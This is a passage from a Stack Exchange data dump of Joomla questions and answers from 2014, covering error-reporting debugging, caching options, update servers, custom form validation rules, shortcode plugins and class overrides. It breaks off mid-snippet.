  <row Id="304" PostTypeId="2" ParentId="299" CreationDate="2014-04-25T07:41:46.597" Score="15" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;h3&gt;Change Error Reporting to Maximum&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Login to admin area &lt;/li&gt;&#xA;&lt;li&gt;Go to Global configuration -&gt; server &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;First you need to set the Error Reporting to Maximum&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h3&gt;Edit Files in FTP&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Login to your Joomla site files via FTP.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find your index.php file located in the root of your site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the index.php and add this code directly after the very first line of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('display_errors', TRUE); error_reporting(E_ALL); &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h3&gt;Edit PHP.ini file&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In PHP.ini file you need to change these two settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Set Display error to On:  &lt;code&gt;display_errors = On&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set error reporting: &lt;code&gt;error_reporting = E_ALL &amp;amp; ~E_NOTICE &amp;amp; ~E_STRICT&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h3&gt;Check Your Server Log&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Finally you get an error log with the error message showing the Error path  &amp;amp; error reason &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Reference : &lt;a href=&quot;http://www.ostraining.com/blog/joomla/white-screen-of-death/&quot;&gt;http://www.ostraining.com/blog/joomla/white-screen-of-death/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="140" LastEditDate="2014-04-25T12:40:04.263" LastActivityDate="2014-04-25T12:40:04.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="305" PostTypeId="1" CreationDate="2014-04-25T08:08:32.167" Score="2" ViewCount="1080" Body="&lt;p&gt;While installing a custom component the following error occur.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fsockopen(): unable to connect to :80 (php_network_getaddresses: getaddrinfo failed: Name or service not known)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="159" LastEditDate="2014-04-27T13:27:11.257" LastActivityDate="2014-04-28T13:24:43.190" Title="fsockopen(): unable to connect to :80 component installation error" Tags="|component|installation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="306" PostTypeId="2" ParentId="299" CreationDate="2014-04-25T08:08:56.823" Score="6" Body="&lt;p&gt;In those cases just turn on the Joomla Error reporting to the maximum as shown below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Thlw1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Once the error reporting is active try reloading the webpage. It will now show you some error sentences. Actually you have just found the first information that needs to be debugged to get the error resolved&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ARLsj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More basic debugging tip can be found in this blog : &lt;a href=&quot;http://www.readybytes.net/blog/item/a-beginners-guide-to-start-debugging-joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.readybytes.net/blog/item/a-beginners-guide-to-start-debugging-joomla.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-04-25T08:08:56.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="307" PostTypeId="1" CreationDate="2014-04-25T08:10:17.347" Score="3" ViewCount="705" Body="&lt;p&gt;&lt;code&gt;Error: No HTTP response code found.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am migrating a component from Joomla 2.5 to Joomla 3. After migrating my component when I tried to install using install from directory I got this error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas about this error?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="159" LastEditDate="2014-04-30T19:38:36.670" LastActivityDate="2014-04-30T19:38:36.670" Title="No HTTP response code found error" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="308" PostTypeId="2" ParentId="300" CreationDate="2014-04-25T08:14:49.843" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Remove unused templates&lt;/li&gt;&#xA;&lt;li&gt;Remove unused images (which came by default with Joomla)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="144" LastEditorUserId="140" LastEditDate="2014-04-25T09:38:19.667" LastActivityDate="2014-04-25T09:38:19.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="309" PostTypeId="2" ParentId="291" CreationDate="2014-04-25T08:16:16.563" Score="2" Body="&lt;p&gt;See &lt;a href=&quot;http://developer.joomla.org/cms/development-strategy.html&quot; rel=&quot;nofollow&quot;&gt;http://developer.joomla.org/cms/development-strategy.html&lt;/a&gt; for current development strategy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terms used: Alpha, Beta, RC and Stable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No special instructions for updating a clone to the Beta version, just update. You can use Joomla! Update for applying current or Extension manager-&gt;Install for updating to specific versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To properly test you should clone original and update to currently available. Keep all environments and don't update b1 with b2, rc or stable. In addition to updating your clone, install clean with and without demodata. This will allow you to specify under which conditions an issue occurs.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2014-04-25T08:16:16.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="310" PostTypeId="2" ParentId="305" CreationDate="2014-04-25T08:34:11.557" Score="2" Body="&lt;p&gt;It seems that the component tries to connect to an external server and your webhost doesn't allow connecting to a remote site.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="52" LastEditDate="2014-04-28T13:24:43.190" LastActivityDate="2014-04-28T13:24:43.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="311" PostTypeId="1" AcceptedAnswerId="316" CreationDate="2014-04-25T08:49:02.973" Score="4" ViewCount="219" Body="&lt;p&gt;In the options of the component &lt;code&gt;Joomla! Update&lt;/code&gt; you can specify the update server. The current help info doesn't provide enough information to decide to use &lt;code&gt;Custom URL&lt;/code&gt; and &lt;code&gt;Currently configured (no change)&lt;/code&gt;. When to use those options?&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditDate="2014-04-25T10:53:58.507" LastActivityDate="2014-04-25T12:36:29.180" Title="What do the options of component &quot;Joomla! Update&quot; mean?" Tags="|administrator|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="312" PostTypeId="2" ParentId="307" CreationDate="2014-04-25T08:55:26.193" Score="0" Body="&lt;p&gt;Have a look at the attribute location in #__update_sites. Try each of them in your browser. Correct or remove the one giving the error.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2014-04-25T08:55:26.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="313" PostTypeId="2" ParentId="300" CreationDate="2014-04-25T09:25:42.410" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;index.html of each folder&lt;/li&gt;&#xA;&lt;li&gt;administrator/templates/hathor unless used&lt;/li&gt;&#xA;&lt;li&gt;templates/beez3 unless used&lt;/li&gt;&#xA;&lt;li&gt;media/editors/tinymce when other editor in use&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clean &lt;code&gt;&amp;lt;DocumentRoot&amp;gt;/&amp;lt;joomla&amp;gt;/tmp&lt;/code&gt;, look for install_# folders left after installation&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure database only contains the tables in use. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditDate="2014-04-25T10:17:52.617" LastActivityDate="2014-04-25T10:17:52.617" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="314" PostTypeId="1" AcceptedAnswerId="320" CreationDate="2014-04-25T09:27:30.123" Score="4" ViewCount="484" Body="&lt;p&gt;Now I have situations to validate Module params in admin side of a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is option with &lt;a href=&quot;http://docs.joomla.org/Text_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Filter&lt;/a&gt; in module params but its limited , I can't validate some patterns or custom conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any option available in Joomla to validate Module params on admin side ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance.&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="168" LastEditDate="2014-07-31T15:01:30.097" LastActivityDate="2014-07-31T15:01:30.097" Title="Module Params Custom Validation is possible?" Tags="|module|module-params|validations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="315" PostTypeId="1" AcceptedAnswerId="318" CreationDate="2014-04-25T09:33:43.140" Score="12" ViewCount="823" Body="&lt;p&gt;Joomla! have a 3 different way for caching:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Conservative caching&quot; (in global configuration)&lt;/li&gt;&#xA;&lt;li&gt;&quot;Progressive caching&quot; (in global configuration)&lt;/li&gt;&#xA;&lt;li&gt;plugin &quot;System - Cache&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What are the differences?&lt;/li&gt;&#xA;&lt;li&gt;When do I use which option?&lt;/li&gt;&#xA;&lt;li&gt;Should I enable the cache plugin when I already turned on the option in the configuration?&lt;/li&gt;&#xA;&lt;li&gt;What proper way to configure default cache system?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="87" LastEditorUserId="87" LastEditDate="2014-04-25T09:54:31.253" LastActivityDate="2014-04-25T11:08:18.793" Title="Difference between standard cache options" Tags="|cms|performance|cache|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="316" PostTypeId="2" ParentId="311" CreationDate="2014-04-25T09:59:58.873" Score="8" Body="&lt;p&gt;The &lt;code&gt;Custom URL&lt;/code&gt; option in the &lt;code&gt;Update Server&lt;/code&gt; dropdown allows you to set the update server (or more specifically, an XML file listing update locations) in the &lt;code&gt;Custom URL&lt;/code&gt; field below. This could be useful in a number of scenarios:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you centrally manage multiple Joomla sites and want to stop users from performing updates, you could point it to a dummy file.&lt;/li&gt;&#xA;&lt;li&gt;If you have your own in-house Joomla distribution mechanism (perhaps to stop users from upgrading to versions you don't support, or to point to a custom Joomla version you've modified yourself), you can point it to your own XML manifest of available updates, much like &lt;a href=&quot;http://update.joomla.org/core/extension.xml&quot; rel=&quot;nofollow&quot;&gt;this example&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Currently configured (no change)&lt;/code&gt; option stops Joomla from receiving / seeing any updates (a terrible name if you ask me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find out more in the &lt;a href=&quot;http://docs.joomla.org/Help32%3aComponents_Joomla_Update&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="90" LastEditDate="2014-04-25T12:36:29.180" LastActivityDate="2014-04-25T12:36:29.180" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="317" PostTypeId="2" ParentId="315" CreationDate="2014-04-25T10:18:00.080" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Difference between caching -     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conservative caching&lt;/strong&gt; is the standard type of caching. Here’s how it works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A visitor visits a page on your website.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla checks if there is a non-expired version of that page in its cache directory.&lt;/li&gt;&#xA;&lt;li&gt;If the cached page exists (and it’s not expired), then Joomla will serve it to the visitor &lt;/li&gt;&#xA;&lt;li&gt;otherwise, a cached version of the page is created, and that cached version will be served to the visitor, and to every other consequent visitor, as long as it’s (by “it” we mean the page) not expired.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The above scenario is typical and is how most developers implement caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Progressive caching&lt;/strong&gt; works the following way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A visitor visits a page on your website.&lt;/li&gt;&#xA;&lt;li&gt;Joomla checks if a cached version of that page exists for that visitor and it’s not yet expired.&lt;/li&gt;&#xA;&lt;li&gt;If that cached page exists, then it’ll be served to the visitor, otherwise, Joomla will create the cached page for that specific visitor and then will serve it to him.&lt;/li&gt;&#xA;&lt;li&gt;If another visitor (who has never been on that page) visits that page, then Joomla will not serve the cached page of the previous visitor, instead, it will create a cached version of that page specifically for that user, and then serves it to him.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you can see, progressive caching only offers a performance improvement&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if the same visitor visits the same page within the lifetime of the cached version of the page. &lt;/li&gt;&#xA;&lt;li&gt;In most scenarios, progressive caching results in a huge performance hit that is far worse than disabling cache, simply because for nearly every visit, Joomla has to process the request, create the cached version of the page, and then serve the page to the visitor (instead of just processing the request and serving the page in the scenario where cache is disabled). &lt;/li&gt;&#xA;&lt;li&gt;Oh, and don’t forget about all the cache files generated by Joomla – you can only imagine how many of these files you will have in your cache folder if you have a high traffic news website (that has many pages).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now you might wonder, under which circumstances is progressive caching useful? Well, imagine that you have a video website (similar to youtube). You want to show each visitor customized pages based on his location and/or browser settings and/or plugins installed. So, for every page that the visitors loads, you use this information to generate a customized version of that page and you cache it. If the visitor visits that same page again, then Joomla doesn’t need to redo the work to generate the customized page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there are many scenarios under which progressive caching is really useful, but in our opinion, progressive caching should only be considered if the website receives many visitors and if those visitors are mostly repeat visitors. Using it in other cases will cause a significant hit on the website’s performance.  Ref:&lt;a href=&quot;http://www.itoctopus.com/why-progressive-caching-in-joomla-should-be-avoided-in-most-cases&quot; rel=&quot;nofollow&quot;&gt;Read Joomla Caching in depth &lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Conservative is recommended.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cache plugin provide complete page cache when enabled.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="144" LastEditorUserId="144" LastEditDate="2014-04-25T11:00:55.113" LastActivityDate="2014-04-25T11:00:55.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="318" PostTypeId="2" ParentId="315" CreationDate="2014-04-25T10:38:44.200" Score="5" Body="&lt;p&gt;In addition to Shyam's answer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;Global Configuration&lt;/code&gt; -&gt; &lt;code&gt;Cache&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Conservative caching&lt;/strong&gt; is a cache generated for each view of a component / module&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Progressive caching&lt;/strong&gt; is a cache generated for each view of a component / module on an individual per-user basis&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is an extension-level cache of views. It must be implemented by the extension developer to have any effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: logged in users will never see cached content via these means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can override individual module caching if 'Conservative caching' is enabled by disabling caching in the module's advanced options. You CANNOT override module caching on a per module basis if 'Progressive caching' is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;System - Cache&lt;/strong&gt; plugin generates page caches of each whole page in &lt;code&gt;/cache&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most scenarios, enabling the &lt;strong&gt;System - Cache&lt;/strong&gt; plugin is sufficient. If you only want to cache particular modules / components (which have caching implemented), disable the plugin and enable Conservative caching in the global configuration. You can then set exceptions by disabling caching in a module's advanced options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that any caching is a balance between time and space - full page caching will reduce DB load and hence page load times, but will increase disk space usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find further analysis and benchmarks of the caching system &lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-25/caching/global-module-caching&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, as well as the &lt;a href=&quot;http://docs.joomla.org/Cache#tab=For_Administrators&quot; rel=&quot;nofollow&quot;&gt;Joomla Cache docs for admins&lt;/a&gt; and this &lt;a href=&quot;http://www.theartofjoomla.com/joomla-caching-explained.html&quot; rel=&quot;nofollow&quot;&gt;excellent article&lt;/a&gt; detailing the various options and applicable caveats.&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="90" LastEditDate="2014-04-25T11:08:18.793" LastActivityDate="2014-04-25T11:08:18.793" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="319" PostTypeId="1" AcceptedAnswerId="321" CreationDate="2014-04-25T10:55:11.197" Score="5" ViewCount="128" Body="&lt;p&gt;Is there a permalink which can be used to download the latest Joomla version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Wordpress allows you to download the latest version at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;https://wordpress.org/latest.zip&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;a href=&quot;https://webmasters.stackexchange.com/questions/54971/is-there-a-permalink-to-the-latest-version-of-joomla-zip-archive&quot;&gt;asked this on WM.SE&lt;/a&gt; a while back and was told no, but now we have our own community maybe someone may know (or know how to make this happen!). My use-case is to include it within our cPanel package system so I can automate the 'new site' process, but I can see it being handy for a variety of reasons.&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="-1" LastEditDate="2017-04-13T12:33:25.293" LastActivityDate="2014-04-25T16:40:07.767" Title="Is there a permalink to the latest Joomla version?" Tags="|cms|download|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="320" PostTypeId="2" ParentId="314" CreationDate="2014-04-25T11:16:15.573" Score="4" Body="&lt;p&gt;You can create a custom rule for validation. For example your module name is &lt;code&gt;mod_mymodule&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add &lt;code&gt;addrulepath&lt;/code&gt; attribute to the fieldset in the .xml file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;addrulepath=&quot;modules/mod_mymodule&quot;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will be the path to the custom rule folder.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add &lt;code&gt;validate&lt;/code&gt; attribute to the field with the name of the rule file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;validate=&quot;testint&quot;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will give us the file &lt;code&gt;testint.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the rule file &lt;code&gt;testint.php&lt;/code&gt; and put it to the path specified in the &lt;code&gt;addrulepath&lt;/code&gt; attribute. So the full path will be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;administrator/modules/mod_mymodule/testint.php&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is a simple validation rule class:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormRuleTestint extends JFormRule&#xA;{&#xA;    public function test(&amp;amp;$element, $value, $group = null, &amp;amp;$input = null, &amp;amp;$form = null)&#xA;    {&#xA;        return ((int)$value &amp;gt; 0 &amp;amp;&amp;amp; (int)$value &amp;lt; 2);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it should extend &lt;code&gt;JFormRule&lt;/code&gt; class and you will need only one method, called &lt;code&gt;test&lt;/code&gt;. &lt;code&gt;$value&lt;/code&gt; will contain the input from the field. Here we are testing it to be integer between 0 and 2.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2014-04-25T11:22:47.947" LastActivityDate="2014-04-25T11:22:47.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="321" PostTypeId="2" ParentId="319" CreationDate="2014-04-25T11:34:45.293" Score="4" Body="&lt;p&gt;There is no permanent link to the latest version of joomla as far as I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla has opted for links with the file name. Example for joomla 3.2.3 :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://joomlacode.org/gf/download/frsrelease/19239/158104/Joomla_3.2.3-Stable-Full_Package.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find the latest version of joomla here though : &lt;a href=&quot;http://www.joomla.org/download.html&quot; rel=&quot;nofollow&quot;&gt;http://www.joomla.org/download.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can suscribe to the &lt;a href=&quot;http://feeds.joomla.org/JoomlaSecurityNews&quot; rel=&quot;nofollow&quot;&gt;rss feed&lt;/a&gt; to be aware of new updates.&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2014-04-25T11:34:45.293" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="322" PostTypeId="2" ParentId="319" CreationDate="2014-04-25T11:47:48.563" Score="2" Body="&lt;p&gt;Try this,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to parse the last node of each xml file you will get the link to download latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Using this method to shows  New version of Joomla is available! on admin panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Long Term Support (LTS) branch -( Recommended) Stable release&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://update.joomla.org/core/list.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Short term support (STS) branch&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://update.joomla.org/core/sts/list_sts.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Testing versions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://update.joomla.org/core/test/list_test.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All these XML files have link to their details zip files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps..&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="138" LastEditDate="2014-04-25T12:10:04.247" LastActivityDate="2014-04-25T12:10:04.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="323" PostTypeId="1" CreationDate="2014-04-25T12:29:47.670" Score="5" ViewCount="1602" Body="&lt;p&gt;I am developing a shortcodes plugin that searches trough Joomla content and creates html outputs from the matched string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I am using this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   public function onContentPrepare($context, &amp;amp;$row, &amp;amp;$params, $page = 0){&#xA;&#xA;        if ($this-&amp;gt;run_plg != 1)return;&#xA;        require_once 'shortcodes.php';&#xA;        $row-&amp;gt;text = shortcodes($row-&amp;gt;text);&#xA;&#xA;        return true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it works very well. As you can see this runs trough every Joomla content basically , including modules ( Not sure about Virtuemart or some other 3rd party extensions ) . But if you were to use the shortcode in your template files it would not find it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am thinking on placing the function in onAfterRender like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onAfterRender() {&#xA;    require_once 'shortcodes.php';&#xA;    $body        = JResponse::getBody();&#xA;    $body       = shortcodes($body);&#xA;    JResponse::setBody($body);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would match the string anywhere on the site. My concern is the performance.&#xA;Here is simple example of shortcodes function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://eval.in/141437&quot;&gt;https://eval.in/141437&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the original one is refined with PREG_SET_ORDER and runs only if the string from $shortcode['type'] is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is , what would you recommend and why if you have time to explain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you and CONGRATS :)  &lt;/p&gt;&#xA;" OwnerUserId="200" LastActivityDate="2014-04-25T19:31:14.183" Title="Should I use JResponse::setBody or onContentPrepare for strings replacements?" Tags="|plugin|recommended-practices|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="324" PostTypeId="2" ParentId="205" CreationDate="2014-04-25T12:54:33.603" Score="4" Body="&lt;p&gt;I was on this one for very long time and promised Don that once I am done will give more details about it .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I needed to override Joomla MVC for components and tell Joomla to look for overrides in my plugin html folder also , not only inside template html folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I never liked is when developers actually take Joomla default class and mess with it , so I rather extend that class if I can, instead of braking something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My process does following. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get the class I need to override &lt;/li&gt;&#xA;&lt;li&gt;Read it,  replace class name , create new file in my temp class folder&lt;/li&gt;&#xA;&lt;li&gt;Load my version of the class&lt;/li&gt;&#xA;&lt;li&gt;Load Joomla class&lt;/li&gt;&#xA;&lt;li&gt;Register my extend method which extends function loadTemplate to look for override&#xA;in my plugin,than joomla template and last joomla component&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;here is the image rather&#xA;&lt;a href=&quot;http://prntscr.com/3d9syq&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/3d9syq&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First  parts in the snippet below is checking where the user is ,  if he is about to update Joomla I am deleting the temp class files that were created to make sure that we get fresh ones when the update is complete which than takes care of JackJoe number 2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($this-&amp;gt;Input('option') == 'com_joomlaupdate' &amp;amp;&amp;amp; $this-&amp;gt;Input('task') == 'update.install') || ($this-&amp;gt;Input('option') == 'com_joomlaupdate' &amp;amp;&amp;amp; $this-&amp;gt;Input('layout') == 'complete')) {&#xA;&#xA;    JFolder::delete(JPATH_SITE . '/plugins/system/yjsg/includes/yjsgcore/classes/extend/classes/');&#xA;    JFolder::create(JPATH_SITE . '/plugins/system/yjsg/includes/yjsgcore/classes/extend/classes/');&#xA;    $indexContent = '';&#xA;    JFile::write(JPATH_SITE . '/plugins/system/yjsg/includes/yjsgcore/classes/extend/classes/index.html', $indexContent);&#xA;}&#xA;&#xA;$YjsgJViewDefaultRead         = JPATH_LIBRARIES . '/legacy/view/legacy.php';&#xA;$YjsgJViewDefaultFile         = YJSGEXTEND . &quot;classes&quot; . YJDS . &quot;Yjsg&quot; . $isView . &quot;Default&quot; . $IsJversion . &quot;.php&quot;;&#xA;&#xA;&#xA;&#xA;    //extend JView library class&#xA;&#xA;    if (!JFile::exists($YjsgJViewDefaultFile)) {&#xA;        $YjsgJViewDefault = JFile::read($YjsgJViewDefaultRead);&#xA;        